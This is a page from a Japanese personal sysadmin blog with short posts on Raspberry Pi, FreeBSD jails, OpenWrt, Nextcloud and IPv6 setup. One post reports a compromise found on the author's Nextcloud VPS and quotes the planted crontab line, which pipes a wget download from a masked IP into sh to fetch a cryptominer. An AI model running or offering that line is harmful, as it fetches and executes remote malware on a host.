To content | To menu | To search

Monday, October 18 2021

Petalinux が対応しているホスト OS バージョン

https://www.xilinx.com/support/documentation-navigation/see-all-versions.html?xlnxproducttypes=Design%20Tools&xlnxdocumentid=UG1144

こちらより。

ただツールバージョンまで考えるとキリが無い

Continue reading...

Sunday, September 12 2021

OpenWrt 21.02 と @nifty v6サービス(OCNバーチャルコネクト)と J:COM と。MAP-E 無し。

元々 J:COM の回線を使っていて、いろいろあって、下り 320Mbps 上り 10Mbps に切り替え。
ついでに元々アカウントだけ契約していた @nifty のフレッツも契約。
回線が速くなったので、なんちゃって 1000Base だった Raspberry Pi 3B+ も 4B に変更。
4B は OpenWrt 21.02 以降のサポートなので、リリースを待った。
MAP-E は使うのを一旦断念。

Continue reading...

Saturday, July 31 2021

OpenMediaVault セットアップのメモ

個人的なセットアップのメモ

Continue reading...

Tuesday, July 27 2021

Raspberry Pi と OpenMediaVault と ZFS で NAS

https://github.com/hannesd/omv-zfs-ras-nas

ここで手順がでているのでトライ中。

2021/7/27 現在、このページの下の方、カーネルをアップデートすると動かなくなるのでその都度 ZFS 関係も手動でアップデートが必要だよ、とあるので要注意。OMV のアップデートは軽率に Web の UI で行うのではなく、CLI でかけて、再起動してこのアップデートをかける、という気遣いがあったほうが良さそう。

https://openmediavault.readthedocs.io/en/5.x/various/apt.html

あと、重複排除の dedup は使わない方が良さそう。

https://decomo.info/wiki/blog/2019/2019-12-31

https://poyo.hatenablog.jp/entry/2017/06/30/160002

https://flageo.hatenadiary.org/entry/20120318/p1

Monday, July 26 2021

antonblanchard/microwatt をもう一度動かす

前のは間違いもあったので、今度は備忘録も兼ねてもう少し細かく。

Continue reading...

Friday, July 23 2021

Nextcloud を走らせているサーバーにスクリプトが仕込まれそうになっていた

Nextcloud を走らせている VPS の cron に勝手に1行追加されていた。偶然 www アカウントの crontab をみたら、次のような行が追加されていて、覚えが無い。

* * * * * wget -q -O - http://XXX.XXX.XXX.XXX/p.sh | sh > /dev/null 2>&1

abuseipdb.com によると Latvia の IP アドレスで、44回報告されている。どうやら仮想通貨のマイニングを行う kdevtmpfsi を実行させようとしているらしい。幸い wget が入っていなかったので動かなかったはず。

せめて日付を確認しておくべきだった。別の用事もあって先に書き換えてしまったのでもうわからない。

他の VPS や仮想環境には、少なくとも同じような crontab を使ったものは仕込まれていなかった。


もう少し調べたら、/tmp に実行ファイルが居た。

-rwxrwxrwx   1 www   wheel  14643200 Dec 18  2020 kinsing*

file コマンドの結果は以下の通り

$ file /tmp/kinsing
/tmp/kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped

Wednesday, June 30 2021

Windows で USB 接続の HDD が取り外せない

解決はしていない。

Continue reading...

Saturday, February 13 2021

続・stdevPavelmc/FAASGS

前のポスト の続き

Continue reading...

Saturday, February 6 2021

stdevPavelmc/FAASGS を Raspberry Pi 2B にインストールした話

Fully Automatic Amateur Satellite Ground Station (FAASGS) を手元の Raspberry Pi にインストールした。パッケージや GitHub のリポジトリは2021年2月6日のもの。

Continue reading...

Wednesday, January 20 2021

umami.is を FreeBSD12 にセットアップ

umami.is を FreeBSD12 にセットアップした。

環境は、FreeBSD 12.1-RELEASE-p11 上の jail (qjail で構築) 、node-15.6.0、npm-6.14.8、mysql57-client-5.7.32。
jail の host 側で nginx でリバースプロキシを構成。mysql サーバーは別の jail に。

Continue reading...

Thursday, January 14 2021

はやりの HDMI-USB キャプチャモジュールと Raspberry Pi でビデオキャプチャ

最終的には

v4l2-ctl --set-fmt-video=width=1280,height=720 && ffmpeg -loglevel verbose -f v4l2 -thread_queue_size 384 -input_format mjpeg -framerate 30 -i /dev/video0 -f alsa -thread_queue_size 4096 -i plughw:2,0 -acodec pcm_s16le -ac 1 -ar 96000 -copytb 1 -use_wallclock_as_timestamps 1  -c:a aac  -b:a 128k -ar 44100 -b:v 4M -c:v h264_omx test.mkv

ここで /dev/video0 や plughw:2,0 はシステム依存。その他パラメータもお好みに合わせて。

ただ、このパラメータでは記録したファイルを再生したときに時々音が途切れた。何かログも出ていたので、調整が必要

だんだん音ズレも酷くなっていったけれど、これは元がどうだったかも確定しないので、まだなんとも言えない。

基本はこちらを参照した
Streaming using a cheap HDMI capture card and a Raspberry Pi 4 to an RTMP Receiver

最後の出力先だけ、mkv ファイルに出力するように書き換え。

その他参考

Tuesday, December 22 2020

ConoHa VPS 上の FreeBSD に IPv4 アドレスを追加したときの追加 NIC と Jail の対応

2021/Mar/14 追記あり。

ConoHa VPS で IPv4 アドレスを追加すると、追加分は新しい NIC に割り当てられる。

Linux はいいらしいけれど、FreeBSD ではそのままだと活かし方が分からなかったけど、動いたように見える。

Continue reading...

Saturday, December 5 2020

Redmine+Phusion Passenger+Apache で Missing `secret_key_base` for 'production' environment

Redmine が webrick で動作するのを確認した後、Phusion Passenger と Apache を入れて動かそうとしたら

Missing `secret_key_base` for 'production' environment

のエラーが出た話。

OS は FreeBSD 12.1-RELEASE-p10、Ruby は 2.6.6p146 、gems は 3.0.6、Redmine は 4.1.1、Apache は 2.4.46。

とりあえず、config/environments/test.rb には

config.secret_key_base = 'a secret token for running the tests'

という行があるのに config/environments/production.rb には無かったので、適当な文字列で追加したら、ひとまず Redmine 起動した。

Thursday, November 26 2020

qjail で diff がエラー

qjail で jail を作ろうとするとエラーになる。

OS は 12.2-RELEASE 。

# qjail create -4 <ip address> -n <network interface> <jail name>
error: conflicting output format options.
usage: diff [-aBbdilpTtw] [-c | -e | -f | -n | -q | -u] [--ignore-case]
            [--no-ignore-case] [--normal] [--strip-trailing-cr] [--tabsize]
            [-I pattern] [-L label] file1 file2
       diff [-aBbdilpTtw] [-I pattern] [-L label] [--ignore-case]
            [--no-ignore-case] [--normal] [--strip-trailing-cr] [--tabsize]
            -C number file1 file2
       diff [-aBbdiltw] [-I pattern] [--ignore-case] [--no-ignore-case]
            [--normal] [--strip-trailing-cr] [--tabsize] -D string file1 file2
       diff [-aBbdilpTtw] [-I pattern] [-L label] [--ignore-case]
            [--no-ignore-case] [--normal] [--tabsize] [--strip-trailing-cr]
            -U number file1 file2
       diff [-aBbdilNPprsTtw] [-c | -e | -f | -n | -q | -u] [--ignore-case]
            [--no-ignore-case] [--normal] [--tabsize] [-I pattern] [-L label]
            [-S name] [-X file] [-x pattern] dir1 dir2
       diff [-aBbditwW] [--expand-tabs] [--ignore-all-blanks]
            [--ignore-blank-lines] [--ignore-case] [--minimal]
            [--no-ignore-file-name-case] [--strip-trailing-cr]
            [--suppress-common-lines] [--tabsize] [--text] [--width]
            -y | --side-by-side file1 file2
Error invalid directories in flavor default.

/usr/local/bin/qjail がスクリプトだったので diff を探したら一箇所だけ出てきた。

    # Check the flavor for directories it should NOT be playing with.
    #
    # Load directory names to be excluded from diff to std-out
    # and pipe to the diff -X option.
    #
    example_flavor="/usr/local/share/examples/qjail/default"
    flavor_path="${flavors_dir}/${flavor}"

    /bin/cat  << EOF |
etc
home
root
EOF

    diff -ruq -X - "${example_flavor}" "${flavor_path}"
    [ $? -eq 0 ] || \
    kill "Error invalid directories in flavor ${flavor}."

diff のオプションの u と q がぶつかっているみたい。でもどちらかにしても相変わらずエラーになる。


2020 Nov 27 追記

diff は、/usr/local/share/examples/qjail/default/etc/ に resolv.conf が無かったことに文句を言っていた。

# cp /usr/jails/flavors/default/etc/resolv.conf /usr/local/share/examples/qjail/default/etc/
# diff -r /usr/local/share/examples/qjail/default /usr/jails/flavors/default

で何も出ないことを確認したら、ひとまず qjail create は通るようになった。

Monday, November 16 2020

Nextcloud で You cannot change the session module's ini settings

Nextcloud でログイン時にエラー。

ログをみたら、

ini_set(): Headers already sent. You cannot change the session module's ini settings at this time at /usr/local/www/nextcloud20/lib/base.php#410

というもの。

Nextcloud のバージョンは 20.0.1 。PHP は 7.4.12 。OS は FreeBSD 12.1-RELEASE-p10。Web サーバーは 1.18.0 。SSL で運用。

Workaround としてとりあえず、php.ini で以下を設定。

session.cookie_secure = true

そして問題の起きた行をコメントアウト。

if (self::$server->getRequest()->getServerProtocol() === 'https') {
    //ini_set('session.cookie_secure', true);
}

2020 Nov 18 追記

ini_set('session.cookie_httponly', 'true'); でも起きた。

2020 Nov 25 追記

Nextcloud 20.0.2 でも起きた。

Tuesday, November 3 2020

IPv6 対応の途中

VPS で時々 IPv6 対応にチャレンジしているんだけれど、なかなかうまくいかない。

北米のある VPS

以前 ipfw を使っても通っていた。pf に移行する予定で、ただ他で通らなくなっているので、設定は考え直す必要あり。

日本のある VPS (1)

accept_rtadv でアドレスはとれているようで、それで取得した IPv6 アドレスにも ping6 はできるけれど、外のサーバーには ping6 が通らない。ipfw の内容は北米のものとほぼ同じだったけれど……。

この VPS は IPv4 アドレスを追加していて、VPS の会社の都合、その追加分のアドレスは、インタフェース付きで追加されていた。その追加されたインタフェースに IPv6 アドレスが割り振られていなかった。

元々のインタフェースは使っていなかったものの、IPv6 アドレスを割り振ったら使えるようになった。ipfw を有効にしても動いている。

日本のある VPS (2)

accept_rtadv ではアドレスが取れない。

アサインされているはずの範囲で手動でアドレスを設定すると、外のサーバーに対する ping6 で

 ping6: sendmsg: Permission denied

というエラーになる。けど結局 pf のせいらしい。pf を切って手動で設定したら通った。

 hostname="XXXXXXXX"
 keymap="jp.kbd"
 
 ifconfig_vtnet0="inet XXX.XXX.XXX.XXX netmask 255.255.254.0"
 ifconfig_vtnet1="down"
 ifconfig_vtnet2="down"
 defaultrouter="XXX.XXX.XXX.XXX"
 
 #ipv6_enable="YES"
 #ipv6_gateway_enable="NO"
 
 ##ipv6_ifconfig_vtnet0="XXXX:XXXX:XXX:XXXX:XXX:XXX:XXX:XXX prefixlen 64"
 ifconfig_vtnet0_ipv6="XXXX:XXXX:XXX:XXXX:XXX:XXX:XXX:XXX prefixlen 64"
 ##ipv6_defaultrouter="XXXX::1%vtnet0"
 ipv6_defaultrouter="XXXX::1%vtnet0"
 #ipv6_activate_all_interfaces="YES"
 ipv6_network_interfaces="vtnet0"
 #ifconfig_vtnet0_ipv6="inet6 accept_rtadv"

欧州の VPS

自分自身には ping6 できるものの、外に対してはやはり Permission denied になる。pf を切ると通るようになる。

TODO

全ての VPS で pf に移行するつもりなので、IPv6 対応のルールを設定すればなんとか。

Wednesday, October 21 2020

Welcome to Dotclear!

This is your first entry. When you're ready to blog, log in to edit or delete it.

Monday, September 7 2020

Z80 と OS の関係、2020/9/7 現在

いろいろな情報があるので、メモ。結構難しい。

Continue reading...

Thursday, August 27 2020

Raspberry Pi 向けに Audio HAT を作るための参考情報

※自分用のメモ

Continue reading...

Raspberry Pi に SparkFun の MIDI シールドをつなぐためのメモ

※まだ調査中のメモ※

Continue reading...

- page 3 of 8 -